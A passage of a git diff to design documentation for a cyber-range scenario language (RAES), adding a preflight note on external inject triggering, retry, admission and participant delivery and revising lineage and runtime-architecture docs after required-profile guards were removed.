+semantics to `Inject.environment: list[str]`. Reference resolution must be +trusted and scoped; a caller-supplied path, URL or callback address must not +become arbitrary file access, credential forwarding or network access. + +**Occurrence, retry and order.** Keep authored identity, narrative placement, +logical effect occurrence, operation, backend attempt, participant delivery +and observation identities distinct. A repeat is a fresh admitted occurrence; +a retry preserves the existing occurrence and request commitment. Use +`control_plane_store.py::require_idempotency_key` and +`idempotency_claim_identity`: the existing key is `(actor, operation kind, +client key)` within one target/run store. Changed bindings, payload or intent +under a retained key conflict. Define occurrence uniqueness independently so +changing a retry key cannot execute an already claimed occurrence again. +Authenticate and authorize receipt access before resolving an exact retry; +receipt retrieval must not demand that the original effect be newly admissible. +Keep conflicting callers from claiming or inspecting another actor's work. + +Specify the trusted ordering authority, ordering scope, expected state/cut, +predecessors and admission/dispatch boundary. External and scheduled firings +need one explicit relationship; neither arrival time, UUID sorting, list order +nor lock acquisition implicitly defines narrative order. Use existing shared +time domains, clocks, segments, ticks/microsteps and mappings for temporal +constraints. Order counters are not clocks. Define late/out-of-order inputs, +expired requests and competing firings without silently rebasing stale inputs, +resetting budgets or selecting the latest matching declaration. Disambiguate +one logical occurrence with several targets from several occurrences; define +per-target evidence and partial outcomes without promising atomic world effects. + +**Admission, refusal and settlement.** Follow +[ADR-104](../../decisions/adrs/adr-104-runtime-control-plane-architecture.md) and its +[supervision contract](../../../specs/formal/runtime-control-plane/supervision.md). +Requirements, declared capability, installed invokable protocol, contextual +backend willingness and outcome evidence are different checks. Revalidate +authority, target/state revisions, preconditions, budgets and willingness after +queueing and before dispatch. Explicitly distinguish pre-claim denial, +withdrawal before dispatch, backend refusal, execution failure, known partial +effects and unknown effects, using the existing operation-state vocabulary +and stable diagnostics. Unsupported backends must refuse honestly; no fallback +to status-view delivery, successful no-op or weaker semantics. + +Retain the existing claim/write-ahead-running/atomic-terminal-commit boundaries. +The store owns authoritative state and append-only history, with derived indexes +reconstructible at a known revision. Reuse lease ownership, revision CAS, +immutable actor context and scoped recovery; add no inject receipt database. +Success needs an outcome tied to the exact occurrence, admitted target and +payload/source commitment, backend invocation and required observation/readback +basis. Queued status, a boolean, a control acceptance or a nonempty evidence ref +is insufficient. Preserve required evidence versus produced evidence, and +operational outcome evidence versus selected archival experiment capture. + +Rejected backend results protect portable state but do not prove the world +was unchanged. A disconnect, timeout, exception or crash after dispatch may +leave an indeterminate effect; recovery observes/reconciles without blindly +reinvoking it. Preserve immutable terminal results and link later evidence or +resolution. Local deduplication/CAS does not provide exactly-once remote effects. +Current external calls still hold the logical mutation permit: realization must +honor the accepted supervision separation of short state mutation from retained +effect reservation, bounded control capacity and execution-generation checks. +Neither a thread nor deadline expiry proves cessation or permits a conflicting +effect. Reuse this shared design; do not solve supervision inside an inject-only +worker or claim the accepted design is already implemented. + +**Participant joins.** No-participant runs must succeed through general +orchestration without an episode or participant runtime. Explicit disclosure +adds participant/episode/audience and policy requirements only at its boundary. +Direction/intervention additionally joins the exact accepted API-409 occurrence, +acting source controller, permitted typed target, authority scope and validity +under ADR-110. A policy edge or latest matching event is insufficient; operator +authentication is not controller authority. Delivery/control policy pins remain +independent; disclosure/flow/time are revalidated at the delivery cut. + +Use `ParticipantControlValidationContext.inject_deliveries`, authored-binding +identity/digest, API-423 crossing stages and realized exposure/evidence owners. +MC-09 allows at most one logical delivery per control-occurrence/binding pair, +with independent fan-out bindings. API-424 inject effects require a fresh +orchestration occurrence and produced result; ordinary disclosure may preserve +source/result identity where already allowed. Neither rule proves world effect +execution. Define causal prerequisites and outcomes separately: optional failed +delivery cannot erase an applied world effect, while required predecessor +delivery must withhold dependent progress. Retrying delivery must not refire +the world effect, and emission/delivery must not assert participant observation. +An applied world effect cannot make a failed required delivery count as success +of the composed operation; retain both outcomes. + +Reuse `participant_retrieval.py::deliver_participant_directed_view`, +`participant_crossing_egress.py` and `participant_flow_sink.py` only for their +existing delivery/projection responsibilities. Select participant/episode and +the final sink explicitly; do not silently use the current episode for an old +binding. Initial authoring checks are not live disclosure authorization: +`_verify_delivery_observation` checks an allowed disposition and matching policy +basis separately over overlapping rules. At the effective cut, visibility and +its basis must agree for the same resolved item and permitted operation; aliases +or overlapping rules cannot combine unrelated permissions. Preserve deny-first +flow, transformation/provenance and authenticated audience checks at final egress. + +## Cross-cutting layers and canonical incumbents + +These are gates the intended design must pass, including in-process and stored +readers; a validated HTTP DTO alone is insufficient. + +| Layer / incumbent | Required use and guardrail | +| --- | --- | +| SDL ingress: `raes/_yaml_loader.py`, `_source_profile.py`, `_source_validation.py`, `SDLModel`, `instantiate_scenario`, `admit_instantiated_scenario` | Preserve bounded inert YAML, duplicate/canonical-key, alias/depth/tag and closed-shape checks. Do not dereference trigger payloads or execute injects during parsing/instantiation; existing governed module resolution keeps its own boundary. Reuse existing phase boundaries. | +| Normative contracts: `specs/authority/authority-boundary.yaml`, `contracts/schemas/`, `raes_contracts`, `schema_bundle()` | Published schemas and specs own portable meaning; Python consumes it. Reuse existing scenario, plan, operation and snapshot carriers rather than HTTP-only copies. `ContractModel` forbids extra fields but does not make integer fields strict or provide ingress depth limits: select those constraints explicitly. A new operation kind must agree with `operation_lifecycle.py`, audit, stored readers, recovery and published consumers. | +| Reference semantics and compilation: `raes/validator/_sections.py`, `_participant_inject_deliveries.py`, `raes/composition/_behavior.py`, `_language_metadata.py`, `build_declaration_index()`, `raes_processor/compiler/orchestration.py`, `addresses.py`, `participant_inject_deliveries.py` | Resolve existing canonical identities, source/destination pairing, narrative membership, concrete bindings and participant-local policy refs through their owners. Rewrite every new nested ref during composition and re-admit after variable substitution. Local models check shape; contextual validators check graph/cut agreement; transport handlers must not duplicate either. | +| Request ingress: `raes_contracts/json_ingress.py::parse_bounded_json_object`, `ContractModel`, `control_plane_api_guards.py`, API `_offload.py` | Use byte/depth limits and duplicate-member/nonfinite rejection before parsing loses ambiguity; closed typed shapes, exact integer coordinates and bounded queues. Apply the same semantic validation to HTTP, embedder calls, backend replies and persistence reads. Do not bypass this with a permissive FastAPI body model. | +| Authentication and authorization: `ControlPlaneSecurityConfig`, API `_auth.py`, `control_plane_operation_context.py`, `control_plane_plan_authorization.py` | Preserve fail-closed bearer/proxy behavior, immutable principal, mutation roles, exact target/run and admitted-plan binding. P0/P1 embedders provide trusted actor context; P2 derives it from authentication. Add no public unscoped trigger route. Trusted proxies strip caller identity headers and deployments protect credentials in transit. Receipt access is separately authorized; audit-only roles cannot trigger. | +| Participant security, when selected: `participant_crossing_policy.py`, `participant_crossing_boundary.py`, `participant_control_mediation.py` and final-sink flow validation | Keep control-subject and audience bindings independent, exact episode/control/cut checks, deny-first projection, markings/provenance and final egress gates. Do not expose administrative snapshots/status to a participant-only client. General orchestration does not inherit participant authority. | +| Configuration and capabilities: `ControlPlaneConfiguration`, `ControlPlaneProfile`, `RuntimeTarget`, `registry.py`/`registry_target_validation.py`, `OrchestratorCapabilities`, backend manifest models and `planner/manifest_validation.py` | Preserve normalized run scope, profile/store agreement, supported-contract/vocabulary validation and invokable method signatures. New trigger support must agree across manifest, installed protocol and admission, rather than borrowing the old inject-binding boolean. Retain an optional participant component. | +| Artifact, secret and environment inputs: `raes/_source.py`, associated-artifact/trust contracts, `raes_contracts/secret_references.py`, `raes/runtime_environment.py`, `_stateful_resource_references.py`, `compiler/stateful_resources.py` | Reuse governed artifact identity/trust and safe logical secret refs. Operator secret values stay out of SDL, request commitments, snapshots and evidence. Actual runtime env bindings use `RuntimeEnvironmentVariable`/`RuntimeEnvironmentFile`, unique names, classification/redaction and `value`/`value_from` exclusions, not a second env-map grammar or the inject's opaque string list. | +| Host/process boundary: e.g. `raes_reference_backend/drivers/oci.py::_invoke` | Backend realization owns process invocation and containment. Reuse the injected runner, fixed argv, bounded timeout and coarse native-error translation pattern; it is not itself an inject executor or a secret transport. Existing source/env declarations grant no shell execution. Keep credentials and sensitive payloads out of argv, URLs, shell interpolation, process/env dumps and temporary artifacts; use admitted backend secret/input mechanisms with least-privilege target access. No new token CLI flag or portable shell runner is needed for this decision. | +| Backend boundary: `backend_input_contracts.py`, `backend_calls.py`, `backend_apply_results.py`, `backend_result_diagnostics.py` and ASR-532 result admission | Preserve isolated inputs/trusted predecessor, scope and identity checks, native contract/realization validation and safe egress before publication. Reuse validators at their owning boundary; extend only the absent trigger-specific relation. An invalid snapshot cannot certify effect absence. | +| Persistence and recovery: `control_plane_store.py`, `control_plane_execution.py`, `control_plane_durability.py`, local store/lease/path/codec/migration modules, `control_plane_recovery.py` | Keep one target/run per store, authoritative claims before effects, atomic terminal snapshot/record/actor audit, CAS and append-only history. Retain strict migration and replay checks and value-free versus ephemeral exact-retry commitments; do not persist secret hashes as a shortcut. P0 persistence and P3 coordination guarantees must not be implied. | +| Errors, audit and observability: existing `SDLParseError`/`SDLValidationError`/`SDLInstantiationError`, `Diagnostic`, `portable_diagnostic_payload`, API `_responses.py`/`_operation_routes.py`, `control_plane_audit.py` | Reuse stable redacted 4xx/5xx/conflict envelopes and bounded denial audit. Never return native exception text, Pydantic input echoes, payloads, paths or credentials. Audit detail keys, identifier grammar and numeric/size bounds are closed; extend the owning allowlist deliberately if necessary, rather than dumping a request into `details`. Reuse current logging/operation correlation and keep RUN-316 telemetry distinct from participant observations and experiment evidence. | +| Package and workflow boundaries: ADR-036, `tools/policy/adr_policy.yaml`, `.ground-control.yaml`, `.gc/plan-rules.md`, `noxfile.py`, `.pre-commit-config.yaml` | Keep authoring in `raes`, compile/admission in `raes_processor`, orchestration/lifecycle in `raes_runtime`, portable DTOs in `raes_contracts`, and backend interfaces in `raes_backend_protocols`. Do not import runtime into SDL, processor or MCP, or concrete backends into shared runtime. CLI runtime access remains the explicit offline-maintenance exception. Reuse policy and verification commands, not an inject-specific workflow script. | + +All identifiers/ranges must fit their consumers, including operation context, +audit, stored codecs and, only where joined, API-424 `ControlRef`/`ControlCount`. +Do not truncate identities, coerce booleans to revisions, wrap counters or loosen +an unrelated validator to make the new design fit. References/digests are not +automatically safe to disclose, and redacting a payload does not remove the need +to distinguish changed secret-bearing intent on retry. + +## Publication, compatibility and extension seam + +The issue's eventual decision belongs in the existing ADR/spec/requirement +authority surfaces. Publish an explicit disposition for +[DSL-111](../../requirements/DSL-111/requirement.md) and +[DSL-142](../../requirements/DSL-142/requirement.md), with narrative sections and +references kept consistent. Review API-402/403/404 and RUN-300/304 for portable +execution/history ownership; retain or amend ACT-617/API-409/RUN-310, +API-423/RUN-319 and SEM-235/API-424/RUN-320 explicitly at their joins. Reuse +shared-time API-421, backend-result ASR-532, and evidence/observability owners. +A design note must not become a duplicate requirement catalog or upgrade +existing ACTIVE status into proof of executable support. + +Keep legacy declarations, fixed-coordinate participant bindings, queued/bound +snapshots and old receipts under their original meanings. Absence of a +participant binding stays environment-only; old receipts acquire no inferred +world-effect or observation evidence. Do not weaken current mandatory anchors +or add defaults that turn legacy plan installation into live triggering. +Any new semantic form needs explicit version/reader/capability admission and +historical migration rules; unsupported readers fail closed. Use ADR-009/061 +schema authority, `schema_bundle()`, publication entries/change ledger and +`tools/check_generated_schemas.py` if executable carriers later change. Existing +ADRs remain governed by ADR-059 amendment/pin rules. +Discover all containing schemas, not just the two supplied traceability links: +at this baseline `Inject` also appears in `instantiated-scenario-snapshot-v1`, +`materialized-scenario-v1` and `scenario-satisfiability-evidence-v1`. Keep affected +publications, independent fixtures and generator parity consistent. A schema's +lineage suffix, publication stability and semantic revision are separate; +consult publication entries instead of assuming that `v1` means stable. + +The extension seam is the **admitted authored binding to a versioned portable +invocation/outcome contract**, realized through the existing orchestrator/backend +boundary. Keep payload contract, selected target bindings, evidence requirements +and capability version explicit there. A second backend, repeated occurrence +or another optional audience should supply new admitted bindings/data, not +require a new inject syntax, provider-name switch or control-plane workflow. +Scheduling and external requests must share occurrence/admission semantics; +participant delivery composes by exact occurrence identity. Do not turn this +seam into an arbitrary plugin registry, scripting language or metadata policy. + +For DSL-142 the corresponding seam is the existing keyed participant binding +plus a separately resolved application: semantic pin, edge constraint, +independent disclosure-policy pin, exact control occurrence/typed target, +participant/episode, audience, validity and evidence requirements. A second +cycle supplies fresh application coordinates; a second audience uses another +explicit binding. Neither variation edits the canonical inject or creates a +synthetic policy edge, new delivery service or alternate control workflow. + +## Assurance and non-goals + +The eventual stateful trigger/retry/outcome decision is FM3 under ADR-007: +require explicit invariants and an abstract state relation, with typed contract +and bounded property/differential evidence appropriate to the delivery scope. +Distinguish design witnesses from installed backend conformance. Reuse the +patterns in `test_sdl_models.py`, `test_sdl_validator.py`, `test_runtime_models.py`, +`test_runtime_planner.py`, `test_runtime_manager.py`, `test_sdl_realworld.py`, +`test_dsl_142_participant_inject_delivery.py`, +`test_issue_1351_mixed_control_design.py`, the `test_issue_1187_control_plane_*` +modules and `test_issue_1186_control_plane_recovery_operations.py`. +Use `test_api_409_participant_control_occurrences.py`, +`test_api_424_control_resolution.py` and +`test_issue_1069_participant_control_effects.py` for the existing contextual-join, +trusted-resolution, origin-principal and logical-effect deduplication patterns; +retain `test_sdl_catalog_parity.py` and the unchanged legacy delivery fixtures. +`test_runtime_orchestration.py` covers runtime orchestration-authority inventory; +it is not evidence of narrative inject execution. + +Required counterexamples include no participants, researcher input without +control transfer, stale/ambiguous targets, unmet/unknown assertions, malformed +or secret-bearing payloads, exact retry versus changed input, two retry keys for +one occurrence, concurrent/scheduled firing, multi-target partial results, +refusal before/after claim, crash after effect before commit, late completion, +delivery denial after world success and observation without evidence. Contract +coverage must cross HTTP/core/store/backend boundaries, including unauthorized +receipt reads and error/audit leakage; a fabricated status view is no effect +probe. Enforce admitted work/history/payload bounds without truncating authority. +For directed delivery, include repeated use of one edge with distinct accepted +occurrences, unequal but valid policy revisions, source/destination controller +disagreement, unmapped order/time, duplicate occurrence/binding claims under +different operation keys, disclosure revoked before pending emission, overlapping +view rules, and old receipt lookup after episode termination. These must reach +the actual contextual validators and final sink, beyond the bounded #1351 model. + +Use `.ground-control.yaml`, `.gc/plan-rules.md`, `noxfile.py`, repo policy, +requirement governance, semantic coverage and affected schema/catalog checks. +Set `RAES_REQUIREMENT_UID=DSL-142` for this participant-delivery preflight; +use DSL-111 for its orchestration-owned work and the governed scope for a joint +delivery. Keep requirement amendments and changed implementation/test traceability +explicit. +`tools/policy/requirement_order.yaml` permits this note under `docs/explain/sdl` +but gives neither DSL UID general ownership of shared runtime/store code. An +eventual delivery crossing those owners must use the existing governed +[multi-requirement scope](../../governance/requirement-scopes/README.md), with +the affected owners and exact file coverage; do not evade the gate by calling +all runtime work an SDL change or widening the phase wholesale. +Scope membership does not expand an owner's allowed roots; uncovered paths +still need an explicit governed ownership disposition. +Run only targeted local checks; full/integration/fuzz suites belong to CI. +Release automation owns changelog/version files. + +Non-goals: implementing the trigger or backend, participant arrival/registration, +new controller kinds, mandatory participants, a second scheduler/workflow engine, +duplicate schemas or exception hierarchies, multi-tenant/P3 coordination, +automatic replay/resumption, universal rollback or exactly-once external effects. +Concrete backend artifact execution, credentials, cancellation/cessation and +readback remain backend responsibilities driven and admitted by the shared +runtime; this preflight does not move orchestration out of RAE. diff --git a/docs/explain/sdl/limitations.md b/docs/explain/sdl/limitations.md index 7eac3eb1b..063993e13 100644 --- a/docs/explain/sdl/limitations.md +++ b/docs/explain/sdl/limitations.md @@ -56,8 +56,8 @@ replication geometry, key-value persistence posture, transport security, and settings, plus per-node engine provenance — version/ build hash/build type, heap byte bounds, mlockall, a typed per-plugin-versioned plugin inventory, and a product-neutral client/peer endpoint inventory (published -topology, not OS-bind or host-publication proof) - with an executable -required-profile guard and internal RBAC delegated via `authorization_ref` - +topology, not OS-bind or host-publication proof) - with partial descriptions, +supplied-state integrity and internal RBAC delegated via `authorization_ref` - [ADR-048](../../decisions/adrs/adr-048-datastore-service-runtime-inventory.md), [ADR-058](../../decisions/adrs/adr-058-datastore-node-engine-provenance-and-endpoints.md)), security-platform application runtime inventory (composable provider-neutral @@ -67,13 +67,13 @@ accepted but deprecated and do not imply completeness - [ADR-049](../../decisions/adrs/adr-049-platform-application-runtime-inventory.md)), forwarding / intel-sync agent runtime inventory (sources, transforms, ship targets, buffer policy, reload channels, and settings for log forwarders and -intel-sync co-processes, with an executable required-profile guard and +intel-sync co-processes, with optional composed pipelines and ship-target node/service refs that resolve at scenario scope - [ADR-050](../../decisions/adrs/adr-050-forwarding-agent-runtime-inventory.md)), container-spawn orchestration-authority runtime inventory (engine, scope, spawn templates, lifecycle policy, realized children, and a privilege class that -references a same-node control-interface shell, with an executable -required-profile guard - +may reference a same-node control-interface shell; selected operations require +independent support, prerequisites and authorization - [ADR-051](../../decisions/adrs/adr-051-orchestration-authority-runtime-inventory.md)), SIEM/security-monitoring manager runtime inventory (manager identity, listeners, components, enrolled agents, agent groups, detection-content sets, parsed diff --git a/docs/explain/sdl/lineage.md b/docs/explain/sdl/lineage.md index e3b94b725..7f519dfd7 100644 --- a/docs/explain/sdl/lineage.md +++ b/docs/explain/sdl/lineage.md @@ -302,8 +302,12 @@ The `runtime.service_listeners` surface is issue #431's response to an observed gap in APTL's MISP container inventory. It is not a replacement for authored services, host-published port bindings, protocol-specific runtime inventories, or scanner output. It is the bounded node-scoped place for generic -observed listener facts: bind endpoint, port, transport, address family, -listener scope, owner, readiness evidence, and provenance. +known listener facts: bind endpoint, port, transport, address family, listener +scope, owner, readiness evidence, and provenance. These facts need not arrive +as a complete endpoint tuple. RAES preserves omission, explicit empty values, +open vocabulary values, and private exact values rather than converting them +into wildcard binds or inferred observations; an operation that needs a usable +endpoint owns the later completeness check. RAES relies on prior work in four ways: @@ -461,11 +465,12 @@ The `runtime.datastore_services` surface is the SCN-010 (DSL-132) response to a gap for the participant-observable logical state of *non-relational* datastores — the search cluster, wide-column store, and key-value store that the irreducibly-relational `runtime.database_services` cannot shape. Its defining -addition is the open `data_model` discriminator paired with a -`require_profile_for_data_model` guard that makes each data model's defining -geometry (search shard/replica counts, wide-column replication, key-value -persistence, and bounded search-index mapping manifests) executable rather than -optional. Search-index mappings and templates are captured as bounded manifests +addition is a typed logical-state inventory with optional geometry, replication, +persistence and bounded mapping manifests. Issue #1207 removed the historical +`require_profile_for_data_model` completeness guard: the motivating deployment +does not make those details compulsory in every valid description. Supplied +structural contradictions and references remain checked; selected operations +have their own admission requirements. Search-index mappings and templates are captured as bounded manifests with counts, summaries, digests, refs, and evidence pointers rather than as raw backend JSON bodies. @@ -595,9 +600,10 @@ gap for the participant-observable agent-side shipping state — the the intel-sync co-process — that the SIEM/security-monitoring *manager* (`runtime.security_monitoring_managers`) and the detection-engine *consumer* (`runtime.network_detection_engines`) provably cannot shape. Its defining -addition is the open `agent_kind` discriminator paired with a -`require_profile_for_agent_kind` guard that makes each member's defining shipping -profile executable rather than optional. +addition is a typed source/transform/target inventory. Issue #1207 removed the +historical `require_profile_for_agent_kind` guard: `agent_kind` does not require +a particular deployment recipe, and composed or partial pipelines are valid. +Supplied references and protection rules remain binding. RAES relies on prior work in four ways: @@ -623,8 +629,9 @@ RAES relies on prior work in four ways: [SP 800-150](https://csrc.nist.gov/publications/detail/sp/800-150/final), Bianco's [Pyramid of Pain](https://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html), and MITRE [ATT&CK](https://attack.mitre.org/) frame the `ioc_to_rule` - intel-sync transform — the API-pull-to-rule-reload shape — that the - `content_sync` profile makes executable. + intel-sync transform and its motivating API-pull-to-rule-reload shape. That + recipe is one optional configuration, not the meaning of every `content_sync` + application or proof that synchronization executed. - **Forwarder implementation lineage:** Elastic [Beats](https://www.elastic.co/beats/) and the [OpenTelemetry Collector](https://opentelemetry.io/docs/collector/) show the @@ -642,8 +649,10 @@ through a control interface — a SOAR orchestrator or analyzer engine holding `docker.sock` read-write. `RuntimeControlInterface` types the docker.sock *shell* but carries no field for what the holder is authorized to *do*; this surface adds the spawn contract (engine, scope, spawn templates, lifecycle policy, realized -children) referencing that shell, paired with a `require_profile_for_privilege_class` -guard that makes the host-root privilege-escalation fact executable. +children) referencing that shell. Issue #1207 removed the historical +`require_profile_for_privilege_class` completeness guard and Docker-socket +filename test. Partial interface knowledge is valid; actual selected privileged +operations still require independent authorization and supported access. RAES relies on prior work in four ways: @@ -667,7 +676,9 @@ RAES relies on prior work in four ways: privilege escalation, and MITRE ATT&CK [T1610](https://attack.mitre.org/techniques/T1610/) (Deploy Container) and [T1611](https://attack.mitre.org/techniques/T1611/) (Escape to Host) anchor the - adversary relevance the `host_root_equivalent` profile makes executable. + adversary relevance of a declared `host_root_equivalent` posture. Neither + that declaration nor a socket path proves effective privilege or authorizes + execution. - **Engine API lineage:** The [Docker Engine API](https://docs.docker.com/engine/api/) shows the spawn / lifecycle surface (container create/start/stop, image references) RAES records @@ -894,6 +905,15 @@ which dynamic queue/log/config details remain evidence or bounded settings. noninterference, or opacity from this design. Runtime realization and backend conformance remain separate axes; noninterference and opacity require their own profile-matching preservation theorem. +- Issue #1351 and ADR-110 define the + [reusable mixed-control amendment](../../../specs/formal/participant-semantics/reusable-mixed-control.md) + across ACT-617/API-409/RUN-310/DSL-142, with a + [producer/reader migration contract](../../migration/reusable-mixed-control.md) + and [bounded design evidence](../../research/reusable-mixed-control/cases.md). + The delivery descriptions for those four requirements below identify the + existing fixed-coordinate implementation. Their schemas/tests do not prove + reusable occurrence support. The amendment reuses existing workflow, time + and participant-control distinctions; it adds no external derivation claim. - ACT-617 applies the already adopted SEM-230/ADR-085 control and ordering lineage to authored mixed-control behavior without introducing another external derivation. The exact RAES mapping is @@ -993,9 +1013,10 @@ which dynamic queue/log/config details remain evidence or bounded settings. threat-model extensions. Issue #813 and ADR-102 now define the mixed cross-backend composition extension. It supports both alternative simulation/emulation realization and simultaneous mixed realization, plus - linked inter-trial and finite pre-admitted within-run changes. SEM-234 and - ASR-537 remain DRAFT; #1013 through #1019 own semantic, contract, trial, - runtime, backend, demonstration, and claims work. Revision 1 keeps one + linked inter-trial and finite pre-admitted within-run changes. #1013 publishes + SEM-234's `sem-234/rev1` definition and bounded finite witnesses; ASR-537 + remains DRAFT. #1014 through #1019 own contract, trial, runtime, backend, + demonstration, and claims work. Revision 1 keeps one acting controller and rejects lease, simultaneous scoped-owner, and joint/fused-control claims. Issue #810 defines opacity and supervisor-visibility architecture only; #961 delivers its bounded checker, @@ -1528,6 +1549,13 @@ apparatus components. Every composition edge binds authority, mapping, participant/audience policy, clock/order, support strength, loss, failure, and evidence. +Issue #1013 publishes the SEM-234 semantic definition and finite admission/phase +witnesses. Its [worked cases](../reference/mixed-participant-composition.md) +retain these source dispositions and compose ADR-105: backend-owned choices +are not mandatory authored detail, a supported witness is not universal +coverage, and requested observations are independent of scenario precision. +This adds no source API or wire compatibility and no runtime realization claim. + CybORG's published simulation-to-emulation experiment reports 139 successful evaluations out of 210 and includes simulation-only observation failures. CyGIL reports one bounded 50-of-50 emulation evaluation while retaining @@ -1673,3 +1701,36 @@ conformance through those generic declarations. establish runtime enforcement, backend realization, intentional-subversion robustness, model alignment, monitor honesty, private-reasoning safety, or control of undeclared covert channels. + +## Modular participant-control semantics (SEM-235) + +Issue #1070 publishes `sem-235/rev1` under ADR-108 at the accepted #1068 +revision `ebb70a34b8e7d1cc8964c443841ae57e12ed1014`. +[The formal authority](../../../specs/formal/participant-semantics/modular-participant-control.md) +uses separately identified closed IFC domains and typed mechanism composition. +The [concept placement](../../../specs/concept-authority/participant-control.md) +reuses incumbent families and keeps profile, mechanism, policy, effect and claim +identities distinct. + +The existing Myers–Liskov decentralized-label and Flume lineage contributes +conservative joins and explicit release privilege. The primary sources were +rechecked on 2026-09-20: +[Myers–Liskov, sections 2–4](https://www.cs.cornell.edu/andru/papers/sp98/paper.html) +and [Flume, abstract and introduction](https://pdos.csail.mit.edu/papers/flume-sosp07.pdf). +The new claim in the current lineage ledger records their exact semantic +boundaries; it preserves historical SEM-230/233 claims and source records. + +The accepted [mechanism assessment](../../research/modular-participant-control/assessment.md) +also distinguishes runtime editing, shields and policy composition. +[Shield Synthesis](https://arxiv.org/abs/1501.02573) and +[Carter's composition thesis](https://digitalcommons.usf.edu/etd/4006/) +were rechecked at their abstracts on 2026-09-20: they motivate explicit +correction and composition boundaries, without supplying a proof for RAES. + +The non-security teaching-influence powerset, deterministic mandatory/advisory +conjunction, independently admitted injects, retry identity and causal budgets +are RAES design choices. They neither broaden SEM-233's confidentiality/integrity +product nor claim that every mechanism is IFC. The +[finite witnesses](../../research/modular-participant-control/semantic-verification.md) +are bounded semantic falsification, not an installed provider, runtime, +conformance result, universal noninterference theorem or backend-integrity proof. diff --git a/docs/explain/sdl/precedents.md b/docs/explain/sdl/precedents.md index e66f1e8c8..2e28ee632 100644 --- a/docs/explain/sdl/precedents.md +++ b/docs/explain/sdl/precedents.md @@ -326,7 +326,7 @@ taxonomy of container, orchestrator, or host-security concerns. | Forwarding / intel-sync agent runtime inventory (sources, transforms, ship targets, buffer policy, reload channels, settings for log forwarders and intel-sync co-processes) | Participant-observable agent-side shipping state, not SIEM manager inventory, detection-engine consumer state, scheduled-job cadence, systemd lifecycle, or a fake scenario node for an infrastructure-only sidecar | `Node.runtime.forwarding_agents` when the agent is node-hosted; top-level `forwarding_agents` when the forwarder is off-node infrastructure realization; the open `agent_kind` discriminator drives a required-profile guard; ship-target node/service refs resolve at scenario scope; enrollment identities use a closed classification lattice and settings use explicit redaction classifications; the inter-node trust edge is a relationship forwarding edge; see ADR-050 and ADR-057 | | Container-spawn orchestration-authority runtime inventory (engine, scope, spawn templates, lifecycle policy, realized children, privilege class referencing a control-interface shell) | Participant-observable container-spawn authority state, not the control-interface shell itself, software component identity, or workflow execution semantics | `Node.runtime.orchestration_authorities` when observed; the open `privilege_class` discriminator drives a required-profile guard; `control_interface_ref` resolves to a same-node `RuntimeControlInterface` (host-root-equivalent requires a read-write docker socket); the control-interface shell is referenced, never duplicated; see ADR-051 | | Vendor-specific AD DS/LDAP/SCIM/IAM/SAML/OIDC schema clone | Provider coupling and false portability | Neutral `Node.runtime.identity_authorities` inventory when observed; provider identifiers remain data; see ADR-032 | -| Service-manager unit state (systemd unit load/enable/active/sub/result) | Realized lifecycle state, distinct from installed software, transport services, live processes, container init, restart policy, and authored conditions | `Node.runtime.service_manager_units` when observed; raw `systemctl`/`journalctl`/unit-file output remains evidence rather than schema; see ADR-035 | +| Service-manager unit identity and selected systemd state | Portable stable identity plus optional exact native names; systemd lifecycle remains distinct from installed software, transport services, live processes, container init, restart policy, and authored conditions | `Node.runtime.service_manager_units` uses `unit_id` as the comparison key; native names are preserved without fabricated suffixes, and only explicit systemd selection activates the flat lifecycle-state contract; raw manager output remains evidence; see ADR-035 | | Framework-specific participant APIs | Framework coupling | Integration adapters outside the core SDL/runtime | | Terraform module composition | Import, version, namespace, parameter, locking, and packaging patterns | Implemented as deterministic SDL module/import expansion with OCI packaging, lockfiles, and trust policy | | Full CACAO workflow surface | Current SDL covers decisions, switch/case routing, reusable workflow calls, retries, explicit joins, cancel/timeout lifecycle contracts, and explicit compensation targets/order | Not implemented: richer exception control and compensation-of-compensation semantics | diff --git a/docs/explain/sdl/runtime-architecture.md b/docs/explain/sdl/runtime-architecture.md index 871507306..825003adf 100644 --- a/docs/explain/sdl/runtime-architecture.md +++ b/docs/explain/sdl/runtime-architecture.md @@ -61,6 +61,16 @@ here come from mature workflow and distributed-runtime systems: ## Package Boundary +RAE is the shared product runtime driving the backends; backend ownership of +concrete realization does not imply a separate scenario runtime per backend. +The [operation supervision decision](../../decisions/issue-1348-operation-lifecycle.md) +defines how authored guarantees, contextual refusal, cancellation and recovery +compose. It preserves the current profile matrix while explicitly identifying +implementation gaps: current external calls and drain are not generally bounded, +and durability does not imply interruption or resumability. Operational budgets +remain independent of authored semantic clocks; future physical-OT protections +are selected only when the authored requirements demand them. + ```text raes -> parse + instantiate + SDL-language semantics raes_processor -> compile + plan + support/contract semantics @@ -76,6 +86,13 @@ staged changes. ## Runtime Stages +Negotiated backends also return a distinct descriptive SDL phase after +materialization hooks. The runtime admits it against the original source, +execution and complete scoped inventory, then publishes protected SDL bytes +before persisting archive references. This does not replace realization +authority, evidence acquisition or the original scenario snapshot. See +[materialization attestations](../reference/materialization-attestations.md). + ### 1. Instantiate + Compile `instantiate_scenario(raw_scenario, parameters=None, profile=None)` is the @@ -108,6 +125,15 @@ It separates reusable definitions from bound runtime instances: - `nodes` + `infrastructure` -> deployable network/node resources - orchestration and objective sections -> resolved runtime programs and graph nodes +These compiled declarations and installed plans do not establish live inject +execution. [ADR-112](../../decisions/adrs/adr-112-external-inject-triggering-and-execution.md) +defines the accepted [external occurrence contract](../../../specs/sdl/external-injects.md): +the shared runtime admits and drives an exact authored binding, and the backend +supplies per-target effect evidence. Participant disclosure, delivery and +observation remain separately authorized facts. Current bound/queued receipts +retain their original meaning; executable support requires the coordinated +[adoption boundary](external-inject-compatibility.md). + The output is a `RuntimeModel` with canonical addresses for every runtime-owned object. @@ -177,6 +203,14 @@ Reconciliation actions are explicit: - `DELETE` - `UNCHANGED` +`raes processor reconcile --format json` makes this directly +observable: it plans `v1`, projects that plan into a snapshot, plans `v2` +against the snapshot, and reports every resulting action. The worked pair is +[`examples/scenarios/reconciliation-demo-v1.sdl.yaml`](../../../examples/scenarios/reconciliation-demo-v1.sdl.yaml) +and its `-v2` counterpart. The projected snapshot is synthetic assumed state +for inspection, not backend readback, a durable checkpoint, or evidence of +realization; durable snapshots belong to the runtime control-plane stores. + Runtime resources carry two dependency sets: - `ordering_dependencies`: same-domain edges used for create/start ordering and reverse delete ordering @@ -495,9 +529,12 @@ writes. A stale writer therefore changes none of them. An exact retry of an already committed terminal operation returns the durable state without incrementing its revision. A backend claim is stored before execution, and its resulting snapshot and terminal operation record commit in one transaction. -Startup marks an orphaned non-terminal record 